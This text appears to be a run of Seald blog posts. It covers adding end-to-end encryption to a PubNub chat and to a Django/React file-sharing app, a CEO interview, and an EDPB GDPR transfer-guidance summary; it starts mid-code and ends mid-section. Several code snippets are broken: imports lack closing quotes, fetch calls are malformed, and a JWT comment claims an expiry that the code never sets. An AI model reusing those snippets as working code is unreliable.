        Adding new room to store + subscribing to new room channel...
        */
      }
    }
  }
})
pubnub.subscribe({ channels: [currentUser.id] }) // channel on which events concerning the current user are published

We can now have a look at a one2one chat room itself. Then we will handle group rooms.

Receiving and sending messages in a chat room 📩

In a chat.js file, we will have all the logic to display the messages of a chat room.

To initialize this room, the only thing we need to do is to fetch all pre-existing messages. It can be done simply by knowing the room ID.

/* frontend/src/components/Chat.jsx */

const fetchedMessages = (await pubnub.fetchMessages({ channels: [currentRoomId] })).channels[currentRoomId]

We can subscribe to the channel to get new messages, and add a listener to display them in real-time.

/* frontend/src/components/Chat.jsx */

pubnub.addListener({ message: handleReceiveMessage })
pubnub.subscribe({ channels: [currentRoomId] })

To send a message, we simply need to publish it on the channel:

/* frontend/src/components/Chat.jsx */

const handleSubmitMessage = async e => {
  /* Some checks that the room is in a correct state... */
  await pubnub.publish({
    channel: state.room.id,
    message: {
      type: 'message',
      data: state.message
    }
  })
}

To send a file, we will first upload it to PubNub. Then we will get the uploaded file URI, and publish it as a message in the chat room.

/* frontend/src/components/UploadButton.jsx */

// Upload Encrypted file
const uploadData = await pubnub.sendFile({
  channel: room.id,
  file: myFile,
  storeInHistory: false
})
const fileURL = await pubnub.getFileUrl({ id: uploadData.id, name: uploadData.name, channel: room.id })
await pubnub.publish({
  channel: state.room.id,
  message: {
    type: 'file',
    url: fileURL,
    fileName: await sealdSession.encryptMessage(selectedFiles[0].name)
  }
})

Managing group chat 👨‍👩‍👦‍👦

To create and manage groups, we will need an interface for selecting users.

Once the group members have been selected, we can create a PubNub channel for our room, then set metadata and membership for the channel. The code is very similar to what is done for one2one rooms, so we will not repeat it here.

We now have a full chat app. Let's add end-to-end encryption for every message!

Adding end-to-end encryption with Seald 🔒💬

Set up a Seald account 👤

To start with Seald, create a free trial account here

When landing on the Seald dashboard, a few URLs and API tokens are displayed.
Get the following elements:

• appId
• apiURL
• keyStorageURL

We will add these keys to our settings.json

{
  "PUBNUB_PUB_KEY": "pub-c-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX",
  "PUBNUB_SUB_KEY": "sub-c-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX",
  "SEALD_APP_ID": "XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX",
  "SEALD_API_URL": "https://api.staging-0.seald.io",
  "SEALD_KEYSTORAGE_URL": "https://ssks.staging-0.seald.io"
}

To be able to use the Seald SDK, every user needs a licence JWT when signing-up.

These JWT needs to be generated on the backend using a secret and a secret ID.

From the dashboard landing page, copy the JWT secret and its associated ID in backend/settings.json

{
  "SEALD_JWT_SECRET_ID": "XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX",
  "SEALD_JWT_SECRET": "XXXXXXXXXXXXXXXXXXXXXXXX"
}

During the signup API call, we will generate a Seald licence JWT, and return it back.

/* backend/routes/account.js */

const token = new SignJWT({
  iss: settings.SEALD_JWT_SECRET_ID,
  jti: uuidv4(), /// Random string with enough entropy to never repeat.
  iat: Math.floor(Date.now() / 1000), // JWT valid only for 10 minutes. `Date.now()` returns the  in milliseconds, this needs it in seconds.
  scopes: [3], // PERMISSION_JOIN_TEAM
  join_team: true
})
  .setProtectedHeader({ alg: 'HS256' })

const signupJWT = await token.sign(Buffer.from(settings.SEALD_JWT_SECRET, 'ascii'))

For more information about this, see our documentation article about JWT.

Then, we need to install the Seald SDK.

We also need to install a plugin to identify users on the Seald server. To do so, we will use the sdk-plugin-ssks-password package.

This plugin allows for simple password authentication of our users.

npm i -S @seald-io/sdk @seald-io/sdk-plugin-ssks-password

Instantiating the Seald SDK 💡

Then, we will create a seald.js file. In this file, we will start by creating a function to instantiate the Seald SDK.

/* frontend/src/services/seald.js */

import SealdSDK from '@seald-io/sdk-web'
import SealdSDKPluginSSKSPassword from '@seald-io/sdk-plugin-ssks-password'
import settings from './settings.json'

let sealdSDKInstance = null

const instantiateSealdSDK = async () => {
  sealdSDKInstance = SealdSDK({
    appId: settings.SEALD_APP_ID,
    apiURL: settings.SEALD_API_URL,
    plugins: [SealdSDKPluginSSKSPassword(settings.SEALD_KEYSTORAGE_URL)]
  })
}

Creating and retrieving Seald identities 🔑

In seald.js, we will also add two function: one to create an identity and one to retrieve one. To create an identity, we also need the licence JWT returned at account creation.

/* frontend/src/services/seald.js */

export const createIdentity = async ({ userId, password, signupJWT }) => {
  await instantiateSealdSDK()
  await sealdSDKInstance.initiateIdentity({ signupJWT })
  await sealdSDKInstance.ssksPassword.saveIdentity({ userId, password })
}

export const retrieveIdentity = async ({ userId, password }) => {
  await instantiateSealdSDK()
  await sealdSDKInstance.ssksPassword.retrieveIdentity({ userId, password })
}

During our signup and sign-in flows, we just need to call these functions after the user has logged in.

At this point, every time our user is connected, he has a working Seald SDK, ready to encrypt and decrypt!

Warning: For proper security, the password should be pre-hashed before being sent to the authentication server. For more details on this, please see the paragraph about password authentication in our documentation.

Start encrypting and decrypting messages 🔒🔓

Each chat room will be associated with an encryptionSession on the Seald SDK.

Every time we create a chat room, we simply have to add one line to create the encryption session, then use it:

/* frontend/src/App.js */

// Create a Seald session
const sealdSession = await getSealdSDKInstance().createEncryptionSession(
  { userIds: [currentUser.id, m.id] },
  { metadata: newRoomId }
)
// Publish a "Hello" message in the room
await pubnub.publish({
  channel: newRoomId,
  message: {
    type: 'message',
    data: (await sealdSession.encryptMessage('Hello 👋'))
  }
})

Note that our user is included by default as a recipient of the encryptionSession

When accessing a room, we need to get the corresponding encryptionSession. It can be retrieved from any encrypted messages or file. Once we have it, we'll keep it in component reference.

Then we can simply use session.encryptMessage,session.encryptFile, session.decryptMessage and session.decryptFile functions.

Let's start with the messages. To send a message:

/* frontend/src/components/Chat.js */

const handleSubmitMessage = async m => {
  /* Some validation that we are in a valid room... */

  // if there is no encryption session set in cache yet, create one
  // (should never happen, as a "Hello" is sent on room creation)
  if (!sealdSessionRef.current) {
    sealdSessionRef.current = await getSealdSDKInstance().createEncryptionSession(
      { userIds: state.room.users },
      { metadata: state.room.id }
    )
  }
  // use the session to encrypt the message we are trying to send
  const encryptedMessage = await sealdSessionRef.current.encryptMessage(state.message)
  // publish the encrypted message to pubnub
  await pubnub.publish({
    channel: state.room.id,
    message: {
      type: 'message',
      data: encryptedMessage
    }
  })

  /* Some cleanup... */
}

And when we receive a message:

/* frontend/src/components/Chat.js */

const decryptMessage = async m => {
  /* Filter out files... */
  let encryptedData = m.message.data

  if (!sealdSessionRef.current) { // no encryption session set in cache yet
    // we try to get it by parsing the current message
    sealdSessionRef.current = await getSealdSDKInstance().retrieveEncryptionSession({ encryptedMessage: encryptedData })
    // now that we have a session loaded, let's decrypt
  }
  const decryptedData = await sealdSessionRef.current.decryptMessage(encryptedData)
  // we have successfully decrypted the message
  return {
    ...m,
    uuid: m.uuid || m.publisher,
    value: decryptedData
  }
  /* Some error handling... */
}

/* Other stuff... */

const handleReceiveMessage = async m => {
  const decryptedMessage = await decryptMessage(m)
  setState(draft => {
    draft.messages = [...draft.messages, decryptedMessage]
  })
}

Also, we use this decryptMessage function to decrypt all messages already in the session when opening a room:

/* frontend/src/components/Chat.js */

const fetchedMessages = (await pubnub.fetchMessages({ channels: [currentRoomId] })).channels[currentRoomId]
const clearMessages = fetchedMessages ? await Promise.all(fetchedMessages.map(decryptMessage)) : []

And now for files. To upload a file:

/* frontend/src/components/UploadButton.js */

// Encrypt file
const encryptedBlob = await sealdSession.encryptFile(
  selectedFiles[0],
  selectedFiles[0].name,
  { fileSize: selectedFiles[0].size }
)
const encryptedFile = new File([encryptedBlob], selectedFiles[0].name)
// Upload Encrypted file
const uploadData = await pubnub.sendFile({
  channel: room.id,
  file: encryptedFile,
  storeInHistory: false
})

And to decrypt a file:

/* frontend/src/components/Message.js */

const onClick = async () => {
  if (state.data.type === 'file') {
    const response = await fetch(state.data.url)
    const encryptedBlob = await response.blob()
    const { data: clearBlob, filename } = await sealdSession.decryptFile(encryptedBlob)
    const href = window.URL.createObjectURL(clearBlob)
    /* Create an <a> element and simulate a click on it to download the created objectURL */
  }
}

Managing group members 👨‍👩‍👦

Group chats will also have their encryptionSession. Every time a group is created, we need to create one.

/* frontend/src/components/ManageDialogRoom.js.js */

// To create the encryptionSession
const sealdSession = await getSealdSDKInstance().createEncryptionSession(
  { userIds: dialogRoom.selectedUsersId },
  { metadata: newRoomId }
)

Then, every time we modify group members, we will need to add or remove them from it.

/* frontend/src/components/ManageDialogRoom.js.js */

// we compare old and new members to figure out which ones were just added or removed

const usersToRemove = dialogRoom.room.users.filter(id => !dialogRoom.selectedUsersId.includes(id))
const usersToAdd = dialogRoom.selectedUsersId.filter(id => !dialogRoom.room.users.includes(id))

if (usersToAdd.length > 0) {
  // for every added user, add them to the Seald session
  await dialogRoom.sealdSession.addRecipients({ userIds: usersToAdd })
  // then add them to the pubnub channel
  await pubnub.objects.setChannelMembers({
    channel: dialogRoom.room.id,
    uuids: usersToAdd
  })
}

if (usersToRemove.length > 0) {
  // for every removed user, revoke them from the Seald session
  await dialogRoom.sealdSession.revokeRecipients({ userIds: usersToRemove })
  // then remove them from the pubnub channel
  for (const u of usersToRemove) {
    await pubnub.objects.removeMemberships({
      channels: [dialogRoom.room.id],
      uuid: u
    })
  }
}

Conclusion ✅

Once that's done, we're finished!

We managed to integrate Seald into PubNub with only a few lines of code.

Now that the chat is end-to-end encrypted, you can assure your users that their data will remain confidential, even in case of data breaches.

As always, don’t hesitate to contact us if you need any additional guidance.

Can’t wait to see what you've built 🥳.

ps: you use Stream instead of PubNub? Here's an article that explain how to integrate E2EE in Stream.

With the number of connected devices and users growing by the minute, securing large amounts of sensitive data becomes increasingly more difficult.

As more aspects of our lives become digitized, many companies and institutions providing online services start to struggle with ensuring their user data is safe. Sure, implementing quality authentication measures or encrypting the organization’s network is a good start, but what about using encryption to secure sensitive customer data?

To talk about the importance of encryption when it comes to data security, we talked with Timothée Rebours, the CEO of Seald – a company making end-to-end encryption easier and more accessible for developers.

How did Seald originate? What has your journey been like since your launch in 2016?

The project behind Seald was created in Berkeley in 2015, following the meeting of cybersecurity enthusiasts and hackers. The company was incorporated in France in 2016.

Seald has a mission – to improve the security and privacy of millions of people. We've come a long way since the project's inception, and we've created a whole series of products over the years, most of them ended up being scrapped to find our current positioning for which the product-market fit is there.

Every journey is incredible. The team at Seald is passionate and brilliant. Plus, we meet a lot of exciting people and customers who help us build Seald. We are super proud of what we have built thanks to them.

Can you introduce us to what you do? What is end-to-end encryption?

We want to help application developers protect their users’ data without needing cryptography skills. Integrating Seald allows the company to reinforce customer trust, be in compliance, and minimize the consequences of a data leak.

End-to-end encryption is considered to be the technology that provides the highest level of security on your data, that's why it is used in popular instant messaging apps.

Basically, it protects data in such a way that no one except the authorized users are able to read the data, not even the servers hosting the data or the app developer (and not even Seald of course).

In your opinion, what industries should be especially concerned about encrypting their data?

We built Seald for companies that make data security a strategic priority.

Every industry has its own data security challenges: strengthening customer trust, achieving compliance, minimizing the consequences of a data breach, etc.

But, the industry with the most at stake when it comes to data security is e-health. Medical data is among the most sensitive (social security numbers, test results, reports, prescriptions, etc.) because a data breach in that field destroys brand trust and can even lead to jail time.

E-health companies are very careful to meet the strict regulatory requirements on medical data and ensure absolute confidentiality of the sensitive data they are entrusted with, in particular, to respect medical secrecy. But with the shift to SaaS apps for patients and health professionals (that the COVID crisis amplified) comes the question: how do we keep data safe in the cloud?

There's also the question of the US hosting providers' hegemony which causes political and compliance concerns over data sovereignty (with regards to the GDPR in particular). With end-to-end encryption, you can ensure no server has access to the data, including a US-based hosting provider.

Have you noticed any new threats arise during the pandemic?

Ransomware is known to crypto lock data and eventually unlock your data when you pay the ransom. We've seen something new in the past years – criminals now steal the data and threaten to leak it if the ransom is not paid.

This stresses the question of end-to-end encryption even more: if the servers can't read the data, there's nothing to leak.

Another thing we've observed (like everyone else) is a massive shift to digital solutions in the cloud, some of them are really shaky because they were developed quickly to match the rising demand.

What measures should everyone implement to protect from these emerging threats?

For years, the preferred way to protect an IT infrastructure was by implementing perimeter protection, building large walls around information systems, so that an attacker cannot penetrate them. The idea was to put everything sensitive within that perimeter. Except that it's now nearly impossible to protect (or even define really) the perimeter because everything's so intertwined.

Another way to see security is through security by design or zero-trust. The goal is to make an attack on any portion of the IT systems as inconsequential as possible.

When it comes to data protection, the main idea is to implement the principle of least privilege. Basically, it means adding encryption to each piece of data and giving the keys to decrypt only to the users or entities that are authorized to read the data. In most use cases, this is end-to-end encryption coupled with fine-grained encryption at rest.

What would you consider the most serious threats surrounding web applications nowadays?

Looking at the OWASP top 10, the two first items in 2021 are broken access control and failure to implement cryptography properly.

With Seald, access control is strengthened with cryptographic measures to ensure that even if a resource can be read by an attacker, they would still need to decrypt it.

And with Seald, cryptography is our specialty, we don't take it lightly, our code has been thoroughly and independently reviewed to ensure we didn't make any mistakes and that our users wouldn't have to worry about the subtleties of how to implement crypto.

Could you share some best practices that organizations should adopt to protect their workforce and customer data?

The first best practice is to take data security into account when first designing any data processing workflow. When it's designed, it's too late.

The second piece of advice is to be humble and organize security training both for developers to learn the best development practices and for all employees to detect phishing, etc.

The third piece of advice when developing software is:

• Do not let something known to be insecure be rolled out to production (password management, random generation, etc.),
• Unit test & e2e test everything (check code coverage),
• Do systematic and thorough reviews before merging,
• Test before rolling out to production.
  

Talking about the future, what predictions do you have for the data security landscape for the upcoming years?

Everything will eventually be moved to the cloud rather than on-premise, and the question of the security in the cloud which is already in everyone's mind will become even more strategic as data breaches will happen more and more often.

Also, more pressure will be put on small companies to secure data (both in confidentiality and in availability) even at a very early stage.

And finally, what does the future hold for Seald?

We are focused on helping developers protect their users' data with end-to-end encryption, but this can be limiting as not everything can be encrypted that way. We'll most certainly diversify our products to tackle more use cases.

An end-to-end encrypted file sharing application

There are many file sharing applications (WeTransfer, OneDrive, Dropbox, ...). However, how do these platforms ensure the confidentiality of the data that goes through them?

Naively, the files are directly copied to the servers. Usually, the security measures put in place are mainly on the transfer (using SSL/TLS for HTTPS). Nevertheless, the file, once sent to the server, is often stored "in clear". Thus, a developer or system administrator could read them. Which means that a malicious person (a hacker, for example) who had compromised the security of the application (this echoes the recent vulnerability found in Log4j) would be able to read them as well.

There is a technology that can to answer this problem: end-to-end encryption. It allows to cryptographically secure a file, so that only authorized people can read the file. This requires the generation of encryption/decryption key pairs on the users' devices, which can be very hard for a developer, both in terms of difficulty and security risk. Seald SDK (certified by the ANSSI) enables developers to ignore this complexity altogether by using a cryptographic library that takes care of this.

In this article, we will see how to implement end-to-end encryption in a file transfer application.

Our technology choices are as follows:

• On the backend side, we will use Django and django-rest-framework;
• On the frontend, we will use JavaScript with React.

This guide is "high level", the whole code is easy to transpose in other languages, as long as the client part (frontend here) can execute JavaScript.

Application specifications

The example application chosen for this guide will be a file sending/receiving page.

The workflow of the application is as follows:

• A person can register on the application;
• Another person (not necessarily registered) can send a file to a registered recipient;
• An authenticated user can list the files he has received and download them.

The development of such an application is not the subject of this guide. We will only focus on the specifics of end-to-end encryption of files as they are sent and downloaded.

So at the end of this guide :

• A user's cryptographic identity will be created at registration;
• The files transmitted to the server will be encrypted only for the user receiving the file;
• The receiving user will be able to decrypt and download his files.

All this, in a completely transparent way at each level of the initial workflow.

Creating a project on Seald

To use Seald SDK, you must first create an account to generate API keys. To do so, you just have to register on the account creation page, and different API keys will be generated upon registration (we will call them SEALD_APP_ID, SEALD_VALIDATION_KEY_ID and SEALD_VALIDATION_KEY).

Once these API keys are generated, it is also recommended to generate a personal access token, allowing to manipulate the dashboard via the API. To generate one, go to the dashboard settings, in the "Personal Access Tokens" tab, and create one.

This token will allow to create a shared secret between the backend of our application and Seald, in order to generate licenses for users.

To generate a shared secret, we need to use the command provided in the documentation:

curl -X POST https://dashboard.seald.io/dashboardapi/v2/jwtsharedsecret/ \
  -H 'X-DASHBOARD-API-KEY: VOTRE_JETON_D_ACCES' \
  -H 'Content-Type: application/json' \
  --data-raw '{"permissions": [-1]}'

At the end of this command, we can retrieve id and shared_secret (which we will call
SEALD_JWT_SHARED_SECRET_ID and SEALD_JWT_SHARED_SECRET).

So we have the following API keys and tokens:

• SEALD_APP_ID
• SEALD_VALIDATION_KEY_ID
• SEALD_VALIDATION_KEY
• SEALD_JWT_SHARED_SECRET_ID
• SEALD_JWT_SHARED_SECRET

They will be needed in the rest of this guide.

Generating a cryptographic identity at registration

When you want to integrate end-to-end encryption into an application, the first thing to do in the entire workflow is to generate cryptographic keys for the user at registration.

These keys are used:

• when we want to send a document to a user, to use the "public" part of these keys to secure the document;
• when the user wishes to decrypt a document, to use the "private" part of the key.

The difficulty, when one implements these features themself, is to integrate:

• the storage of private keys outside the scope of the application, so that the user can retrieve it at a later time on another device;
• the renewal of the keys.

The advantage of using Seald is that all these security mechanisms are installed in the library without having to worry about their implementation!

The set of these keys is called a cryptographic identity.

To generate the cryptographic identity, several exchanges between the backend and the frontend must be integrated. This generation is roughly articulated as follows:

• The backend generates a Seald SDK license token and sends it to the frontend;
• The frontend generates the cryptographic identity;
• The frontend sends the Seald ID to the backend.

Generation of the Seald SDK license token

On the backend, to generate a license token, we need SEALD_APP_ID, SEALD_VALIDATION_KEY and SEALD_VALIDATION_KEY_ID.

From these elements, a scrypt is used to generate a license token.

Here, we generate the user's license token from the user's id (self.id) in python.

def get_user_license_token(self):
    seald_app_id = os.environ.get("SEALD_APP_ID")
    seald_validation_key = os.environ.get("SEALD_VALIDATION_KEY")
    seald_validation_key_id = os.environ.get("SEALD_VALIDATION_KEY_ID")
    nonce = secrets.token_bytes(32).hex()
    token = hashlib.scrypt(
        f"{self.id}@{seald_app_id}-{seald_validation_key}".encode(),
        salt=nonce.encode(),
        n=16384,
        r=8,
        p=1,
    ).hex()
    return f"{seald_validation_key_id}:{nonce}:{token}"

So all you have to do is send this information upon the user's registration.

Generation of the cryptographic identity

From the previously generated user_license_token, we can generate the user's cryptographic identity on the frontend with the following JavaScript code:

import SealdSDK from '@seald-io/sdk-web
import SealdSDKPluginSSKSPassword from '@seald-io/sdk-plugin-ssks-password

const appId = '{SEALD_APP_ID}'

const seald = SealdSDK({ appId, plugins: [SealdSDKPluginSSKSPassword()] })

const sealdInitiateIdentity = async (userId, userLicenseToken, password) => {
  await seald.initialize()
  await seald.initiateIdentity({ userId, userLicenseToken })
  await seald.ssksPassword.saveIdentity({ userId, password })
  return (await seald.getCurrentAccountInfo()).sealdId
}

Note that password is used here as a secret to secure the user's private keys. By directly using the user's password (normally known by the frontend at registration or login), the backend and the Seald identity are protected by the same secret.

To prevent a malicious backend from being able to use a Seald identity, the authentication method to the backend should be changed so that only a derivation of the password is sent to the backend, and no longer the password itself. This is not done in this initiation project. Information about this can be found in the Seald documentation.

Save the Seald ID

The backend will then need the user's Seald ID, in order to allow other users to retrieve public cryptographic identities.

For this, two solutions exist: either the backend finds the identifier from the identity given in the license token, or the user sends it to the backend once the identity has been created. This is what we have chosen for this guide.

The previous function (sealdInitiateIdentity) returns the sealdId, so you just have to send it to the backend:

const userUpdateSealdId = async (sealdId) => {
  return fetch(
    /api/users/update_seald_id/',
    method='POST',
    body=JSON.stringify({seald_id: sealdId}))
}

And retrieve it from the backend:

class User(models.Model):
    [...]
    def update_seald_id(self, seald_id):
        self.seald_id = seald_id
        self.save()

class UserView(viewsets.ViewSet):
    [...]
    @action(methods=["POST"], detail=False)
    def update_seald_id(self, request):
        [...]
        user = get_object_or_404(User, django_user=request.user)
        user.update_seald_id(serializer.validated_data["seald_id"])
        return Response([...])

Recovering the cryptographic identity at the connection

The previous chapter allows to initialize the seald variable with a cryptographic identity creation at registration. Nevertheless, when the user connects, it is also necessary to be able to initialize the seald variable, not by creating an identity, but by recovering the one created at registration.

To do this, it is sufficient to add on the frontend, during a successful authentication, the loading of the cryptographic identity :

const sealdRetrieveIdentity = async (userId, password) => {
  await seald.initialize()
  await seald.ssksPassword.retrieveIdentity({ userId, password })
}

Same remark as before about password, it is used as a secret to secure the user's private keys. Although it is possible to use the user's password directly (normally known by the frontend at login), it is recommended to use a derivation (for example with PBKDF2).

Be careful though. There are many cases where the password may not be available when the frontend loads:

• User already authenticated, who has a session on the backend;
• Application that is not a SPA;
• Remote authentication (ex: OAuth).

In this case, a solution can be to use a persistent local database or what we call 2-man rule (which is not technically end-2-end encryption, but as close as it gets to it if you want to "allow" your users to forget their password).

Encrypting a file when sending to the server

Once a user's cryptographic identity has been created, it will be possible to retrieve it to allow another user to use it to encrypt documents.

Let's go back to our upload application. In our case, we want anyone (even a non-authenticated user) to be able to send a file to someone who is registered. We will therefore use Anonymous Encryption.

To use it, just send the .stream() (or .blob()) of the file to the server, encrypted with the AnonymousSDK.encrypt() function.

In order to encrypt a message anonymously, the user needs:

• The Seald identity of the person to whom the file should be sent;
• An encryptionToken that can be generated by the server.

Thus, on the backend:

seald_app_id = os.environ.get("SEALD_JWT_SHARED_SECRET_ID")
seald_validation_key = os.environ.get("SEALD_JWT_SHARED_SECRET")

def generate_encryption_token(user_seald_id):
    jwt_token = jwt.encode(
        {
            "iss": seald_app_id,
            "iat": datetime.now(),
            "scopes": [-1],
            "recipients": [user_seald_id],
            "owner": user_seald_id,
        },
        seald_validation_key,
        algorithm="HS256",
    )
    return jwt_token

class UploadView(viewsets.ViewSet):
    [...]
    def create(self, request):
        [...]
        return Response(
                "encryption_token": generate_encryption_token(user.seald_id),
            }
        )

And on the frontend :

const anonymousSDK = AnonymousSDKBuilder({})
const { encryptionToken } = await fetch(
  '/api/uploads/',
  method='POST',
  body=JSON.stringify({email: userEmail})
)
const { encryptedFile } = await anonymousSDK.encrypt({
  encryptionToken: encryptionToken,
  sealdIds: [sealdId],
  clearFile: f,
  filename: f.name
})
const reader = encryptedFile.stream().getReader()
await upload(reader)

(Note: many details have been simplified for illustration, for full code please refer to the Github repository).

The uploaded file (read by the stream encryptedFile.stream()) will be encrypted. Only the user sealdId will be able to read it via his private cryptographic identity. Neither the server, nor a hacker, nor anyone else will be able to read it.

Decrypting a file on a user's space

Once the file is encrypted and stored on the server, the recipient user now wants to read it.

Once the seald variable is initialized (either via identity creation or authentication), it is possible to use seald.decryptFile().

Thus, to make the user download the file, instead of linking to the url of the file to download, it will be necessary to decrypt it first. To do this, we perform the following operations on the frontend:

const downloadBlob = await fetch(uploadUrl)
const decryptedStream = await sealdDecryptFile(await downloadBlob.blob())

The variable decryptedStream contains the content of the file in clear text! To offer it to the user for download, just create an (invisible) link with the file content in ObjectUrl and simulate a click on it:

const url = window.URL.createObjectURL(decryptedStream)
const a = document.createElement('a')
a.style = 'display: none'
a.href = url
a.download = upload.filename
a.click()
window.URL.revokeObjectURL(url)

(A cleaner method to do this would be to use a dedicated library such as FileSaver.js).

Final project

Source code

The source code can be retrieved from the Github repository seald/sdk-upload-example

Registration

File upload

File download

Content of the files

• Encrypted file, stored on the server
• Decrypted file, client-side only

Background 🎙

Recommendations 01/2020 on measures that supplement transfer tools to ensure compliance with the EU level of protection of personal data | European Data Protection Board

European Data Protection Board

On July 16, 2020, the Court of Justice of the European Union invalidated the Privacy Shield, ruling that U.S. intelligence laws violate the GDPR.

Since this date, it is therefore illegal to use as a data processor a company operating or outsourcing all or part of its activity in the United States without signing Standard Contractual Clauses and without implementing supplementary measures.

Do not hesitate to read our dedicated article on the subject: Cloud Act, FISA, ... why the Privacy Shield was invalidated?

The EDPB had published in November 2020 a first version of recommendations on these supplementary measures, and after public consultation, they just issued the final version:

NB: this article is only intended to popularize the official recommendations, and does not replace them in any way, refer to the original document to ensure your compliance 👍.

Methodology 🤓

The EDPB has established a methodology for adopting appropriate supplementary measures:

1. Know your transfers ➡ : while obvious to say, there are some subtleties:
   • some companies that are incorporated, that operate and store data in the EU sometimes allow access to data in third countries (for support purposes), especially companies that operate around the world, this then constitutes a transfer;
   • some transfers may be unjustified under the minimization principle.
2. Validate the lawfulness of the transfer ✅ : the transfer must be authorized by one of the articles in Chapter V:
   • Article 45: transfers to certain geographical areas (such as Argentina, New Zealand, or Japan, but no longer the United States) are permitted on the basis of an adequacy of safeguards provided in that area with the GDPR.
   • Article 46: if adequacy is not declared by the European Commission, Standard Contractual Clauses (SCC) should be used as a legal tool for transfers;
   • Article 49: certain exceptional transfers are by way of derogation permitted to countries that do not offer any guarantees, but this cannot be the norm;
3. Assessing the legislation of the country of export ⚖️ : it is up to the data controller to prove that the transfer of data ensures the effective application of the SCC in light of local legislation. If these guarantees cannot be provided, either:
   • stop the transfer ;
   • implement "supplementary measures" to obtain adequate safeguards. Typically in the United States, FISA Section 702 violates the Standard Contractual Clauses (which is the reason for the invalidation of the Privacy Shield), so supplementary measures must be implemented.
4. Implement supplementary measures ➕ : the objective of these measures is to achieve an effective level of assurance on the transferred data equivalent to processing the data within the EEA. If no combination of supplementary measures can achieve this guarantee, the transfer must be stopped.

Supplementary measures 💪

The EDPB does not give an exhaustive list of supplementary measures, it leaves it up to data controllers to find the appropriate measures depending on the data, the treatment and the country of export.

Nevertheless, it gives some examples that we will study:

🟢 Storage of data without the need to access the data in clear text;
🟢 Transfer of pseudonymized data;
🟢 Encryption of data to protect against eavesdropping outside the EEA;
🟢 Protected recipient;
🟢 Split or multi-party computation.

Storage of data without the need to access the data in clear text ❌

If you want to store data with a processor outside the EEA and the processor does not need access to the data, the EDPB suggests assuming that the processor is essentially malicious with respect to data confidentiality and integrity because the authorities in the country in which the processor operates may attempt to read or alter the data.

This does not mean that we cannot trust the processor in terms of data availability: we can retrieve the data from the processor when we need it and decrypt it with the key that they does not have.

To do so, here are the details of the supplementary measures to be adopted:

1. personal data is encrypted before being sent to the processor;
2. the encryption algorithm, its parameters and the key management are state of the art and considered robust against the attack, cryptanalysis and computation capabilities of the authorities of the recipient country, and correctly sized considering the duration during which the data must remain unreadable by the authorities of the recipient country;
3. the encryption algorithm is implemented correctly, by properly maintained software with no known vulnerabilities, whose compliance with the specification of the chosen algorithm has been verified, for example, by certification;
4. the keys are held only under the control of the data exporter, or by another processor within the EEA.

Caution: using an HSM, KMS or BYOK delegating storage, control or use of the key to the processor which is outside the EEA is not a sufficient supplementary measure 👎.

Transfer of pseudonymized data 🕵️

If you want to analyze data with a processor outside the EEA, and you only need part of the data for the analysis, in particular not the identifying data, you can then perform a rigorous pseudonymization and then transfer only the pseudonymized data.

Specifically, here are the requirements for this to be considered an effective supplementary measures:

1. pseudonymization must be performed in accordance with Article 4(5) of the GDPR, in particular, it must not be possible to attribute pseudonymized data to the individuals to whom it corresponds without using a pseudonymization table;
2. the pseudonymization table and its use to re-identify individuals must remain controlled by the exporter through technical (such as encryption) and organizational measures;
3. if an encryption measure is used to ensure control of the pseudonymization table, this measure must be implemented with the same precautions as a secure backup discussed above;
4. the exporter has established through a thorough analysis of the pseudonymized data that it cannot be re-identified, even when using open sources or other sources available to the authorities of the destination country.

Encryption of data to protect against eavesdropping outside the EEA 👂

In many cases, data must be transmitted, including via the Internet, through countries whose legislation allows them to attempt to read its contents.

For this, robust transit encryption techniques must be implemented, in particular :

1. the encryption algorithms, their parameters and their key management are state of the art and considered robust against the attack, cryptanalysis and computational capabilities of the authorities of the recipient country, and properly dimensioned taking into account the duration during which the data must remain unreadable by the authorities of the exporting country;
2. a secure certification authority or infrastructure is chosen by the parties;
3. proactive and state-of-the-art measures (such as vulnerability/backdoor testing) are used to defend against active and passive attacks on systems providing encryption in transit;
4. if transit encryption at the infrastructure level is insufficient (because it would leave the ability for a third party to eavesdrop), application-level end-2-end encryption (at least between client and server) is added;

Protected recipient 🔒

In some specific cases, the legislation of the third country may protect the secrecy of certain data for certain professions and in certain cases (for example, in the case of medical secrecy or client / attorney privilege).

In these cases, the EDPB considers the transfer compliant provided that:

1. the legislation of the third country ensures data secrecy to the processor importer of the data in the case of this transfer, and this assurance extends to encryption keys and other means that could be used to access data subject to such secrecy;
2. the subcontractor ensures that its own subcontractors have the same legal assurance;
3. the data is encrypted before sending and decrypted only by the importer-subcontractor using end-to-end encryption that ensures that the key is not accessible to entities other than the importer-subcontractor (and possibly the exporter).

Split or multi-party computation 🤐

The exporter may wish to process personal data using techniques known as multi-party computation or distributed secrecy. The principle in both cases is the same: split the personal data into several pieces before transfer, transfer each piece to different jurisdictions, and reconstruct the data only within the EEA.

The EDPB considers the transfer to be in compliance with the following conditions:

1. the data splitting technique is done in such a way that it should not be possible to attribute from a single piece of data the persons to whom it corresponds, even using open sources or other sources available to the authorities in each destination jurisdiction;
2. the data splitting technique used is robust against active attacks;
3. the results of the data splitting are sent to different jurisdictions;
4. it has been demonstrated that no collusion, collaboration or mutual assistance of any kind is possible between the authorities of each jurisdiction that could lead to the attribution of the data to the persons to whom they correspond;
5. the data (and the possible results of multi-party computation) are only reconstructed within the EEA.

Conclusion 🔥

The recommendations of the EDPB are particularly rigorous, especially when it comes to encryption, which I applaud.

It is one of the first normative documents - to my knowledge - that correctly distinguishes the impact of the different encryption techniques (in transit, at rest, end-to-end) that we explained in our white paper.

Moreover, the attack scenarios against which the EDPB forces companies to defend themselves are very advanced and require real expertise from companies wishing to transfer data, especially when faced with governmental actors (American) particularly targeted in this document.

In my opinion, this shows the maturity of the European regulator in terms of digital sovereignty (although it is often denounced for its naivety in this matter).

If you are looking to implement supplementary measures similar to those described above, please contact us!

Background 🗣

The GDPR stipulates in Chapter V that a transfer of personal data outside the European Economic Area may only be made if appropriate safeguards are put in place and on the condition that data subjects have enforceable rights and effective remedies.

To facilitate transfers to the United States, an adequacy decision (as defined in Article 45 of the GDPR) was taken after the negotiation of the Privacy Shield to ensure these safeguards and to give data subjects these enforceable rights and effective remedies.

However, following a legal proceeding brought by Maximilian Schrems in 2013 against Facebook, the CJEU ruled that the Privacy Shield did not provide these safeguards because U.S. law grants its intelligence agencies the right to access data without any European proceedings.

"Transfer" ➡

